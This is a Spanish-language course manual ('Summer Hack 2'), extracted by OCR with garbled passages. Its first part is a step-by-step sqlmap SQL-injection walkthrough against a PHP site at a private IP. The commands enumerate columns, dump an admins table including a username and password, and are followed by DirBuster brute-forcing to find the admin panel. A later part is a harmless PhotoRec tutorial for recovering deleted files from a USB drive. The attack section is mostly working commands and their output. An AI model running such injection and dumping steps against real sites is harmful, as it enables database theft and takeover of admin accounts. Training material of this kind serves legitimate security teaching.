| estados |

| lanzamientos |
| lineas |

| mailing_clicks |
| mailing_envios |
| mailing_links |

| mailing_vistas |
| productos |

| productos_tratamientos |
| slider |

| tratamientos |

-+ -+
T T
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7.3.-Usmeando en la tabla de usuarios o de administracion.

Utilizaremos los siguientes comodines “--columns” “-D” “-T”

Donde “--columns” = columnas

Donde “-D” = Base de Datos
Donde “-T” = Tablas

Comando Completo :

MacBook-Pro-de-Makuaz:sqlmap MakuazS “python sqimap.py -u

http://192.168.1.104/biobel/bioexpresion.php?ba_id= --columns -D biobel_web -T

admins”

Informacion Destacada :

[23:50:05] [INFO] the back-end DBMS is MySQL
web server operating system: Linux CentOS 5.8
web application technology: PHP 5.3.23, Apache 2.2.3

back-end DBMS: MySQL 5.0

[23:50:05] [INFO] fetching columns for table 'admins' in database 'biobel_web'

[23:50:05] [INFO] the SQL query used returns 6 entries

[23:50:05] [INFO] resumed:
[23:50:05] [INFO] resumed:
[23:50:05] [INFO] resumed:
[23:50:05] [INFO] resumed:
[23:50:05] [INFO] resumed:
[23:50:05] [INFO] resumed:
Database: biobel _web
Table: admins

[6 columns]

+ + +

| Column | Type |

-+ -+ -+
T T T

"adm_id","smallint(6)"
"username","varchar(16)"
"password","varchar(16)"
"type","char(3)"
"adm_nombre","varchar(24)"
"adm_apellido","varchar(24)"

| adm_apellido | varchar(24) |

| adm_id | smallint(6) |
| adm_nombre | varchar(2
| password | varchar(16)
| type | char(3) |

| username | varchar(16)

-+ -+ -+
T T T

Concnltnra
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8.-Obtencion de Usuarios (Dump de la tabla + Cracking de password)
Utilizaremos los siguientes comodines “--dump”, “-D”, “-T”

Donde “--dump” = Respaldo o dumpeo
Donde “-D” = Base de Datos
Donde “-T” = Tablas

Comando completo :

MacBook-Pro-de-Makuaz:sqlmap Makuaz$ “python sqlmap.py -u
http://192.168.1.104/biobel/bioexpresion.php?ba_id= --dump -D biobel_web -T admins”

Informacion Destacada :

23:56:20] [INFO] the back-end DBMS is MySQL

web server operating system: Linux CentOS 5.8

web application technology: PHP 5.3.23, Apache 2.2.3

back-end DBMS: MySQL 5.0

[23:56:20] [INFO] fetching columns for table 'admins' in database 'biobel_web'
[23:56:20] [INFO] the SQL query used returns 6 entries

[23:56:20] [INFO] resumed: "adm_id","smallint(6)"

[23:56:20] [INFO] resumed: "username","varchar(16)"

[23:56:20] [INFO] resumed: "password","varchar(16)"

[23:56:20] [INFO] resumed: "type","char(3)"

[23:56:20] [INFO] resumed: "adm_nombre","varchar(24)"

[23:56:20] [INFO] resumed: "adm_apellido","varchar(24)"

[23:56:20] [INFO] fetching entries for table 'admins' in database 'biobel_web'
[23:56:20] [INFO] the SQL query used returns 1 entries

[23:56:20] [INFO] resumed: "Tapia","3","Arturo","6!","ADM","admin"
[23:56:20] [INFO] analyzing table dump for possible password hashes
Database: biobel _web

Table: admins

[1 entry]

-+ -+ 3 -+ -+ -+ -+
T T T T T T T

| adm_id | adm_apellido | type | username | password | adm_nombre |

| 3 | Tapia | ADM | admin | 6! | Arturo |

-+ -+ 3 -+ -+ -+ -+
T T T T T T T
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8.1.-Respaldo (DUMP)

[23:56:20] [INFO] table 'biobel_web.admins' dumped to CSV file
'/Volumes/Datos/Documentos/hax0r/sqlmap/output/192.168.1.104/dump/biobel_web
/admins.csv'

[23:56:20] [INFO] fetched data logged to text files under
'/Volumes/Datos/Documentos/hax0r/sqlmap/output/192.168.1.104"'

[*] shutting down at 23:56:20

9.-Buscando el Panel de Administracion mediante la herramienta “Dir Buster”

La herramienta se ejecuta al hacer doble clic (Windows) sobre el .jar

00 0 OWASP DirBuster 0.9.10 - Web Application Brute Forcing
File  Options About Help

DirBuster - Web Application Directory and File Brute Forcer

Target URL

l J
Work Method () GETonly () Auto Switch (HEAD and GET)

Number Of Threads ~ ={ ) > 10Threads [ | Go Faster

Select scanning type: @ List based brute force | ) Pure Brute Force

File with list of dirs/files

| Browse | | Listinfo |
Char set a-zA-Z0-9%20- + | Minlength 1 Max Length
Select starting options: @ Standard start point ( ) URL Fuzz
(M Brute Force Dirs Dirto startwith |/
@ Be Recursive
(M Brute Force Files || Use Blank Extention File extention [ppp
URL to fuzz - ftest.html?url={dir}.asp
Exit | | Start

Please complete the test details
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9.1-Brute Force de Directorios “Dir-Buster”

000 OWASP DirBuster 0.9.10 - Web Application Brute Forcing

File  Options About Help

DirBuster - Web Application Directory and File Brute Forcer
http://192.168.1.104:80/biobel/

Type Found Response Include Status
Dir /biobel/ 200 ™ Scanning
Dir Ibiobel/pdf! 200 ™ Waiting
DI lbiobeadmn/ 00| G [Watng |
Dir /biobelfflash/ 200 ] Waiting
Dir /biobel/upload/ 200 ™ Waiting
Dir / 403 ™ Waiting
Dir /biobel/css/ 200 ™ Waiting
File /biobel/index.php 200 8]
File /biobel/pdfimundo_biobel_mayo_2012.pdf 200 O
Dir Ibiobeltest/ 200 ) Waiting
Dir /biobelfimgs/ 200 ™ Waiting
File /biobel/nosotros.php 200 J
File /biobel/pdfitratamientos_web_mayo_2012.pdf 200 O
File Ibiobel/admin/index.php 200 O
File /biobel/productos.php 200 O
File Ibiobel/clientes.php 200 @]
File Ibiobel/contacto.php 200 O
Dir ficons/ 200 ™ Waiting
File Ibiobelfflash/WS_FTP.LOG 200 @]
Dir Ibiobel/upload/categorial 200 ™ Waiting
File_______________biohelflash/diaarama_052202 nnt 200 [
Current speed: 0 requests/sec (Select and nght click for more options)

Average speed: (T) 302, (C) 8 requests/sec

Parse Queue Size: 0 Current number of running threads: 10
Total Requests: 9363/4733356 T

| | Change |
Time To Finish: 6 Days
Back | Continue | | Stop Report
Program paused! Ibiobel/beach/
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9.2.-Revision del Panel de Administracion.

€ > C [} 192.168.1.104/biobel/admin/

Usuario

admin

Contrasena

Enviar

€ - C [} 192.168.1.104/biobel/admin/index.php

%

Camsel Agregar Listar AgregarLinea ListarLineas Lanzamientos Bloexpresiones  Comeos Excel Comeos Camblar Salr
Principal Producto Productos Contacto Contacto Contrasefia

Not Found

The requested URL /biobel/admin/index2.php was not found on this server.

Apachel2.2.3 (CentOS) Server at 192.168.1.104 Port 80

Concnltnra Harlkino Méavirn



Summer Hack 2 Juan Angel Osorio Juarez Vicepresidente

10.-Instalando el Entorno grafico de “SQL-Map”

Dentro de las herramientas Otorgadas se entrega la interfaz grafica para “SQL-MAP”

Otro Editra Otro
(] GUI-SQLMAP “ sgm.pyw (] CONFIGFILE
| ActivePytho...5_32bits.msi g, (] PATH_TRAVERSAL
(] SQLMAP . (] REQUEST
" ActivePytho...5_64bits.msi (] SESSION
(] SHELL
(] TRAFFIC

La cual se debe de copiar dentro de la Carpeta de “SQL-MAP” (todo a Raiz) y deberia de
guedar de la siguiente manera.

Editra

“ sqglmap.conf
B sqm.pyw

Otro

(] output
EET
(] extra

& lib

(] plugins

(] thirdparty

(] doc

(] procs

(] shell

(] tamper
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Una vez instalado el entorno grafico de “SQL-MAP” dar clic derecho sobre “sqm.pyw” y
seleccionamos abrir con “python”.

i Editra (por omision) (0.7.20)
*/IDLE (2.7.5)

* Python Launcher

8 Sublime Text 2

App Store...
Otra...

y Finalmente este es el entorno Grafico de “SQL-MAP”

288, SQLmap Command Builder —— .
SQLmapCommandBuider | Logwiawer | Edior | Hapl |

Q= " baFle | b [ oquesl | googeDok | deoct | corighle |
oot

poyomimee: o

| Setings | kocson! Doocioni Bechaique | Roquest | Emumemon | Adcess |

Inpcion Tampaors
e access |:] apostrophemask.py
e | | apostrophenullencode.py
appendnullbyte.py
[ | | _ [pase64encode.py
| | |between.py
[ os | | bluecoat.py
, chardoubleencode.py
[]%e ‘ | charencode.py
5 ; — harunicodeencode.py
||_n~a4a9ml [ iwalid igum |_mo.n| C o e
Detecion Technique
o | |[[| = 8 [+l
[ Roee | [ = | |
Coxe | |2 | |
ml P =L Je=—= | |
I ‘ 1 "| [ dnsdomain | ’
[ sacarly .
[ s
— | = |
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3.- Recuperacion de Datos mediante consola

1.-Conociendo el Software “PhotoRec”

igital picture recovery
“http://www.cgsecurity.or

Es un software disefiado para recuperar archivos perdidos incluyendo videos, documentos
y archivos de los discos duros y CDRoms asi como imdgenes perdidas (por eso el nombre
PhotoRecovery) de las memorias de las camaras fotograficas, MP3 players, PenDrives, etc.
PhotoRec ignora el sistema de archivos y hace una blsqueda profunda de los datos,
funcionando incluso si su sistema de archivos esta muy dafiado o ha sido re-formateado.

Disponiblidad :

TestDisk & PhotoRec 6.14, Data Recovery

Para mayor informacion sobre la version 6.14, puedes leer las notas libres y git history &.
Select your operating system to download the latest version of TestDisk & PhotoRec data recovery tools.
o % Dos/Win9x &
o & Windows &
e @ Windows 64-bit & Use only on systems lacking WoW64 @ as some features are missing
e A Linux i386 &, kernel 2.6.18 or later
e A Linux x86_64 &, kernel 2.6.18 or later
o [ Mac OS X Intel &
* & Mac OS X PowerPC &
e o Marvell 88F628x Linux 2.6.32 & Synology DS111, DS211, DS212+ NAS, Seagate BlackArmor NAS 220
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2.-Instalacion y creacion de Alias (sistemas Operativos Basados en Unix)

Durante el curso se entrega el software “photorec” para su instalacién , solo de debe
colocar en la carpeta deseada.

Ejemplo en OSX :

e 0 6
——— (zz = Mlm) (<) (=) (=]
FAVORITOS L] iWork "09 - 78
\ ; )
= Todos mis archivos @: JDownloader S Androld.mic
22 KeePassX '~ AUTHORS
<> AirDrop & Keka '~ Changelog
,A App'ications "'? KisMAC _L COPYING
il CloudSiation &) Launchpad ¢ documentation.html
= = Mactracker M fidentify
.. Datos “» Magican ' fidentify.8
(] Descargas (1] MagicanTools ™ @ ico
(] Documentos & Mmail B INFO
— &) MediaHuma...io Converter T jni
Desktop @ Mensajes 5 NEWS
(] imagenes C Microsoft Communicator M photorec
ﬁ e {6 Microsoft Messenger " photorec.8
) = Microsoft Office 2011 "~ |9 photorec.ses
(1 Peliculas Bd Miro Video Converter ' README
(] Screens B Mission Control 1 readme.txt
£ sitios % Nicecast M testdisk
{2 No-IP DUC 7 testdisk.8
2] Makuaz T Notas | THANKS
[ =

- Notas Adhesivas
W OmniGraffle Professional

COMPARTIDO VERSION

M4ku4z-Private

(] OSXrkhunter ™~
DISPOSITIVOS W Photo Booth
&)
|Z]| Datos oorec

Como se observa fue colocada en la carpeta “Aplicaciones” de OSX

Colocar la carpeta en la ruta deseada para su uso.
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Summer Hack 2 Juan Angel Osorio Juarez Vicepresidente

Ejecucion en Windows : Doble Click en photorec_win.exe
(32 y 64 bits)

M fidentify_win.exe

M testdisk_win.exe

Ejecucion en OSX : ./photorec
(estar Posicionado en la carpeta de instalacion)

Comando completo : MacBook-Pro-de-Makuaz:photorec Makuaz$ ./photorec

FPhotoRec 6.14-WIF, Data R y Utility, May 2013
Christophe GRENIER <grenier@ curity.org>

AAwww, cgsecuri ty,

PhotoRec is free software,
with ABSOLUTELY NO WARRANTY .

Select a media (use Arrow keys, then press Enter):

*Di sk f'dev/d'l sk - 128 GB /£ 119 G1B (RO)

D1<P / S L /465 (R
' ) ! 7441 MiB
119 GiB (
118 GiB (
465 GiB (RO)
7441 MiEB (RO)
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Ejecucidn en Linux : en Unix/Linux/BSD, se necesita ser root para ejecutar PhotoRec
(ej. sudo testdisk-6.9/linux/photorec_static)

PhotoRec 6.9

File Edit View Terminal Tabs Help

PhotoRec 6.9-WIP, Data Recovery Utility, December 2007
Christophe GRENIER <=grenier@cgsecurity.org=
http://www.cgsecurity.org

PhotoRec is free software, and
comes with ABSOLUTELY NO WARRANTY.

Select a media (use Arrow keys, then press Enter):

Disk /dev/hda - 60 GB / 55 GiB (RO)

[Proceed | SEEECIVEE SN

Note: Disk capacity must be correctly detected for a successful recovery.
If a disk listed above has incorrect size, check HD jumper settings, BIOS
detection, and install the latest 0S patches and disk drivers.

Creacion de un alias (sistemas basados en unix)
OSX : Posicionarse en la carpeta /sbhin/
Comando completo :

“sudo In -s /Nombre_de_la_ruta/photorec/./photorec dump_usb”

Linux :
Comando completo

“In -s /Nombre_de_la_ruta/photorec/./photorec dum_usb”
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Ejemplo en consola de un alias :

Donde “dump_usb” : es como teclearemos solamente en la consola
Donde “/Applications/photorec/./photorec” : Es la ruta donde tenemos la aplicacion.

3.-Perdiendo/Borrando Datos en una USB/HDD

Durante este ejercicio contamos con una Memoria USB marca Kingston y borraremos
archivos dentro de ella.

| 28 | = [ omi | | £ |

.

@ Anonymous...México.mp3
(] hackingmexico_zacatecas
ﬂ hackingmex...acatecas.zip
@ mr.mp3

borrandolos :

EBR c CNEXERNES
@ Anonymous...México.mp3
(] hackingmexico_zacatecas F

ﬂ hackingmex...acatecas.zip
@ mr.mp3

Nueva carpeta con la seleccion (4 items)

Abrir
Abrir con >

Trasladar a la Papelera
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4.-Analizando los USB montados en nuestras computadoras

Abrimos nuestra consola o terminal , y verificamos cual es el nombre que se le ha
asignado alausb:

Ejemplo en OSX :

MacBook-Pro-de-Makuaz:sbin Makuaz$ df —h

fhnome

folumes/HM_USE

Nota : hay muchos comandos en internet , simplemente utilize el comando df-h para ver
las particiones y verifico que esta “Hm_USB” es la que quiero testear.

Ejemplo en Linux :

Hay muchas maneras de hacerlo dependiendo la distribucidn que tengas.
En este caso hemos usado el comando “mount” y vemos los dispositivos montados por el
sistema .

[root@localhost " 1# mount
dev/mapper/UolGroupBB-LogUolBB8 on ~ type ext3 (rw)
proc on /proc type proc (rw)
sysfs on /sys type sysfs (rw)
evpts on sdev/pts type devpts (rw,gid=5,mode=6208)

dev/sdal on sboot type ext3 (rw)

mpfs on s/dev/shm type tmpfs (rw)

ione on /procssys/fs/binfmt_misc type binfmt_misc (rw)
sunrpc on svar/lib/snfs/rpc_pipefs type rpc_pipefs (rw)

Concnltnra Harlkino Méavirn



Summer Hack 2 Juan Angel Osorio Juarez Vicepresidente

Ejemplo en Windows :

Tan sencillo como entrar > inicio > mi PC, y listamos las unidades ... con la vista

% MiPC

Archivo Edicion Ver Favoritos Herramientas Ayuda

O RePZeY @ - l’ ‘/'3 Busqueda u Carpetas ’ [%} L}

Direccidn I J MiPC

Archivos almacenados en este equipo

" Ny, g WU

| '// Documentos compartidos '/I Documentos de m4ku4z

Unidades de disco duro

v Disco local (C:)

Dispositivos con almacenamiento extraible

@ Unidad de CD (D:) @ Unidad de CD (F:)

SIN TITULO (H:)
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4.1.-Recuperando los Datos

Sistemas basados en UNIX :

Abrimos nuestra terminal o consola y escribimos el alias que hemos asignado , si no
hemos creado el alias pues solamente ejecutamos asi : “./photorec”

En este ejemplo usare el comando “usb_dump” el cual corresponde al alias que yo he
asignado.

VAAwww cgsecurity.or

. found.,
will try to restart itself using the sudo command to g
root (superuser) privileges.

sudo may ask your user password, 1t doe: L ask for the
Usually there is no echo or '*' displayed when you type your pa:

Password:

FPhotoRec 6.14-WIF, Data R ! , May 2013

Christophe GRENIER <gr
http://www.CcgsecL
PhotoRec is free software, and

with ABSOLUTELY NO WARRANTY .

media (use Arrow keys, then press Enter):
( 128 GB 7/ 1192 GiB (RO)
500 GB / 465 GiB (RO)
2000 MB / 1907 MiB
GE / 119 GiB
500 GB / 465 GiB
: . 126 GB / 118 GiB

*Disk fdev/rdiskd - 2000 MB / 1907 MiEB (RO)
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Como se puede Observar se listan los dispositivos USB y de Disco Duros conectados,
previamente se ha observado la usb conectada y su nombre asignado.

En este ejemplo el nombre que se le ha asignado a la usb es : “/dev/disk4”
Seleccionamos el dispositivo:

PhotoRec 6.14-WIF, Dat: very Utility, May 2013
‘enier@cgsecurity.org>

Sy —sgia. e B

Org

PhotoRec is free software, and
with ABSOLUTELY NO WARRANTY.

Select a media (use Arrow keys, then press Enter):
Disk /dev/diskl - GE / 119 GiB (RO)

Disk /dev/diskl - 500 GB / 465 GiB (RO)

*Disk /dev/diskd - 2000 MB / 1907 MiB (RO)

y en la parte de abajo, Seleccionamos “[Proceed]”

*[Proceed | EIIVE RS

apacity must be correctly detected for a successful rer
disk listed above has incorrec o k HD jumper settings,
detection, and install the latest 05 pat and disk drivers,

Conanltnra Harkine Méavica
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A continuacién se nos despliega una pantalla similar a esta donde se nos detalla la tabla
de particiones (fat32) que tiene y el nombre que le hemos asignado (HM_USB).

6.14-WIF,
e GRENIE

sk /dev/diskd - 2000 MB / 1907 MiB (RO)

Partition Start Siz i h rs
No partition 0 Ay 4L 3 1, 3 ] [Whole disk]
> 1 P FAT32 [HM USE]

Escogemos en la parte de abajo “[Search].

Ahora se nos muestra una pantalla donde se nos pregunta el tipo de particién con la que
cuenta la usb o el disco duro.

Photorec necesita saber que particion tiene y nos muestra en la parte de arriba el tipo de
particion que tiene , en este caso escogeremos “FAT/NTFS/HFS+/ReiserFS/...”

6.14-WIP,
GRENIER

i |7 (RS 2 ] s 2 ] B 907362

En la siguiente pantalla escogemos la opcion “[Whole]” para que busque en toda la
particidn del usb o disco duro.

6.14-WIP,
GRENIER

[HM_USE]

Please choose if all space need to be analy

bl Free ] Scan for file from FAT32 unallocated space only
[ Whole ] Extract files from whole partition
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Se nos preguntara donde deseamos que ponga los archivos recuperados. En este caso he
preparado una carpeta llamada “recuperados” en mi escritorio ,para que ahi los deposite.

By EE « CNEEREES

FAVORITOS .| hackingmexico ,
E Todos mis archivos
.| work ;
" AirDrop

#% Applications
[_] CloudStation
.. Datos

] Descargas

] Documentos

PhotoRec &6.14-WIP, fay 2013

C when t

Q to quit
Directory /User z
501
501
SO1

R s 20 2 19 ! 1:39 hackingmexico
PAdrwxr-xr-x 501 20 2013 21:32 recuperados

501 20 170 18 3 B1:59 work

Para finaliza tecleamos la letra “C” para decirle al software que el destino es el correcto.
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Y con esto empieza el Proceso de Recuperacién en Segundo Plano.
y 2013
Disk /dev/disk4 - 2000 MB / 1907 MiB (RO)

FPar
1 P FAT32

, 440 files found
ompletion GhB9mS59

Solo nos resta esperar a que termine el Proceso por completo.

Una vez terminado el Proceso veremos una pantalla como esta .

WWy , CZsecur

s~CEL

sk fdevidiskd - 2000 MB / 1907 MiB (RO)
it ars

[HM_USB]

ved in /Users/Makuaz/Desktop/recuperados/recup_dir directory.
ompleted.

You are welcome to donate to support further development and encouragement
http://www.cgsecurity.org/wiki/Donation
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Summer Hack 2

5.-Analisis de Datos

Juan Angel Osorio Juarez Vicepresidente

Analizaremos los archivos recuperados.

Directorios Recuperados

™ recup_dir.1

(] recup_dir.2
(] recup_dir.3
(] recup_dir.4
(] recup_dir.5
(] recup_dir.6
(] recup_dir.7
(] recup_dir.8
(] recup_dir.9
(] recup_dir.10
(] recup_dir.11
(] recup_dir.12
(] recup_dir.13
(] recup_dir.14
(] recup_dir.15
(] recup_dir.16
(] recup_dir.17

MP3 : Recuperados

f0022034.mp3
f0009634.mp3
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Imagenes Recuperadas :

Vista Previa

Bl f2339206.png

# £2309038.jpg
= 2299930.jpg
& 2294060.tif

Archivos Recuperados :

Microsoft Word

o f1855612.docx
o) f2063288.docx

Safari

¢ f1876544.html

Sublime Text 2
= f2744260.jsp

Archivos Compresos :

Keka

B r1787366__rels.zip
B r1853452_drs.zip
B r1856394_ rels.zip
B f1930512_drs.zip
B 1933754 _drs.zip
B 1948554 _drs.zip
B r2049362__rels.zip
B r2049828__rels.zip
B f2094348_ppt.zip
8 f2101122_ppt.zip
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Summer Hack 2 Juan Angel Osorio Juarez Vicepresidente

Windows :

Ejecutamos “photorec_win.exe”

( AUTHORS

63 plugins == | Documento de texto
=_J 1KB

=" Changelog =77 COPYING ; cyawint.dll
== | Documento de texto ==| Documento de textc W | 100717,
=_J 156 KB = e Cygwin® POSIX Emulation DLL
documentation v N INFO
@. Firefox HTML Document ’ fidentify _win gas| [ Archivo
| 1KB 1KB
277 NEWS photorec.ses photorec_win
= Documento de texto asa archivo SES PhotoRec
- - 4448 - - -
= | 17kE 40 KB -G3ecurity
readme \ testdisk_win =T -
Documenta de texto TestDish == | D Descripcidn: PhotoRec
1 KB i ¥ cGsecurit = | 1| Organizacién: CGSecurity
' - Version del archivo: 6.14.0.0
VERSION Fechandta creacion: 19/09/2013 20:59
Documento de texto Tamano: 1,25 MB
1 KB

Practicamente son los mismos pasos que en los sistemas basados en UNIX

@C'\Documents and Settings\m4ku4zMis documentos'testdisl

PhotoRec 6.14, Data Recovery Utility, July 2013
Christophe GRENIER <grenierlfcgsecurity.org>
http://uwwuw.cgsecurity.org

PhotoRec is free software,. and
comes with ABSOLUTELY NO WARRANTY.

Select a media (use Arrow keys, then press Enter):
>Disk s/dev/sda — 31 GB ~/ 29 GiB (RO> — UBOX HARDDISK

Disk s/dev/sdb — 7883 MB / 7441 MiB (RO> - Kingston DT 186 G2

>[Proceed 1JNN YIS R -

Note: =

Disk capacity must bhe correctly detected for a successful recovery.

If a disk listed above has incorrect size, check HD jumper settings. BIOS
detection,. and install the latest 0S8 patches and disk drivers.
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Escogemos la unidad USB:

‘\Documents and Settings'm4ku4z\Mis documentos'test:

PhotoRec 6.14, Data Recovery Utility, July 2013
Christophe GRENIER <grenierfcgsecurity.org>
http://uuwu.cgsecurity.ory

Disk s/dev/sdbh — 7883 MB ~/ 7441 MiB (RO> - Kingston DT 186 G2

Partition Start End Size in sectors

No partition a g 1 948 173 57 152460576 [Whole diskl
> 1 * FAT32 ] g 3 248 173 57 15240574 [SIN TITULOI]

RTINS M| [Options 1 [File Optl [ Quit 1
Start file recover

Escogemos la tabla de particiones :

@]C:\Documents and Settings'\m4ku4z\Mis documentos' test

PhotoRec 6.14,. Data Recovery Utility, July 2613
Christophe GRENIER <grenierlcgsecurity.org)>
http://wuu.cgsecurity.org

1 »* FAT32 a 8 3 248 173 57 15248574 [SIN TITULOI]

To recover lost files, PhotoRec need to know the filesystem type where the
file were stored:

[ ext2/ext3 1 ext2/ext3/ext4 filesystem
>L Other il FAT/NTFS/HFS+/ReiserFS/..._
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Escogemos “Whole” para que busque por completo en todo el dispositivo.

:O:E:\Documents and Settings'\m4ku4ziMis documentos'test

PhotoRec 6.14, Data Recovery Utility, July 2013
Christophe GRENIER <grenierfcgsecurity.org>
http://uwuwu.cgsecurity.ory

1 » FAT32 5] 8 3 248 173 57 15246574 [SIN TITULO]

Plea6e choose if all space need to be analysed:
Free ] Scan for file from FAT32 unallocated space only
Extract files from whole partition

Escogemos el destino de los archivos y directorios recuperados.

:O]C:\Documents and Settings'\m4ku4z\Mis documentos'test 14w
PhotoRec 6.14,. Data Recovery Utility, July 2613

Please select a destination to save the recovered files.
Do not choose to write the files to the same partition they were stored on.
Keys: Arrow keys to select another directory
C when the destination is correct
Q to quit
C:\Documents and Settings‘\m4kud4z\Escritorio\recuperados
400 401 B 19-Sep—2013 22:12 .
400 401 B 19-Sep—20813 22:12 ..

Confirmamos con la letra “C”
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Y el software empieza a hacer su trabajo.

ocuments and Settings\md4ku4zMis documentos'testdis|

PhotoRec 6.14,. Data Recovery Utility, July 2013
Christophe GRENIER <grenierfcgsecurity.org>
http://wwuw.cgsecurity.org

Disk sdev/sdb — 7883 MB ,/ 7441 MiB (RO> - Kingston DT 108 G2
Partition Start En Size in sectors
1 * FAT32 a @8 3 948 173 57 15248574 [SIN TITULO]

Pass 1 — Reading sector 243136,/152408574, 14 files found
Elapsed time BhBBm52s — Estimated time to completion Bh53m27
: 5 recovered
: 4 recovered
: 3 recovered
sglite: 1 recovered
apple: 1 recovered

recuperados
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